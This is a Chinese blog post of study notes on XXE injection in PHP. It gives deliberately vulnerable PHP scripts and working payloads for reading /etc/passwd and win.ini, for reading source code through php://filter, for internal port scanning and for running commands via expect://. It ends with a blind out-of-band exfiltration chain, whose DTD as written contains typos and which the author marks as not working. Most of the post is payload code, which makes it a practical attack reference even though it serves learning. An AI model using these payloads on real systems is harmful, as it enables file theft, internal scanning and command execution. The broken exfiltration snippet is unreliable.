XXE漏洞

最新推荐文章于 2024-09-16 21:55:23 发布

_JINJI_

最新推荐文章于 2024-09-16 21:55:23 发布

阅读量297

点赞数

分类专栏：暗月笔记文章标签： php 服务器 apache

本文链接：https://blog.youkuaiyun.com/RMC131/article/details/130141865

版权

暗月笔记专栏收录该内容

15 篇文章

订阅专栏

XXE

XXE Injection，XML Enternal Entity Injection，由于程序在解析输入的XML数据时，解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml_load 默认情况下会解析外部实体，有XXE漏洞的标志性函数为simplexml_load_string（）。

条件：libxml< 2.9.1原因是 libxml2.9.1及以后，默认不解析外部实体。

内部实体

程序中多用内部实体

<!ENTITY 实体名称"实体的值">
<?xml version="1.0" encoding="IOS"

外部实体

<!ENTITY 实体名称 SYSTEM "URI/URL">

例子：

xxe.php

<?php
$string_xml = '<?xml version="1.0" encoding="utf-8"?><note><to>George</to><from>John</from><heading>Reminder</heading><body>xml实体注入</body></note>';
$xml = isset($_GET['xml'])?$_GET['xml']:$string_xml;
$data = simplexml_load_string($xml);
echo  '<meta charset="UTF-8">';
print_r($data);
?>

xxe02.php

<?php
$xml = $_GET['xml'];
$data = simplexml_load_string($xml);
?>

有回显

都需要先url编码

http://127.0.0.1/xxe.php?xml=...

任意读取文件

Windows下
<?xml version="1.0"?><!DOCTYPE a [<!ENTITY b SYSTEM "file:///C:/Windows/win.ini">]><c>&b;</c>

linux下
<?xml version="1.0"?><!DOCTYPE a [<!ENTITY b SYSTEM "file:///etc/passwd">]><c>&b;</c>

php种利用伪协议读取文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=phpinfo.php" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>

扫描端口

<?xml version="1.0"?>
<!DOCTYPE ANY [<!ENTITY test SYSTEM "http://192.168.0.1:80">]>
<abc>&test;</abc>

执行命令

需开启expect扩展
<?xml version="1.0"?>
<!DOCTYPE ANY [<!ENTITY test SYSTEM "expect://whoami">]>
<abc>&test;</abc>

无回显

（未实现）

称为blind xxe可以使用外带数据通道提取数据

http://127.0.0.1/xxe02.php?xml=<?xml version="1.0"?>
<!DOCTYPE ANY[
    <!ENTITY % file SYSTEM "file:///C:1.txt">
    <!ENTITY % remote SYSTEM "http://127.0.0.1/evil.xml">
    %remote;
    %all;
]>
<root>&send;</root>

ecil.xml内容

<!ENTITY %all "<!ENTITY send SYSTEM 'http://127.0.0.1/1.php?file;'>">

1.php

<?php file_put_contents("1.txt", $_GET['file']);?>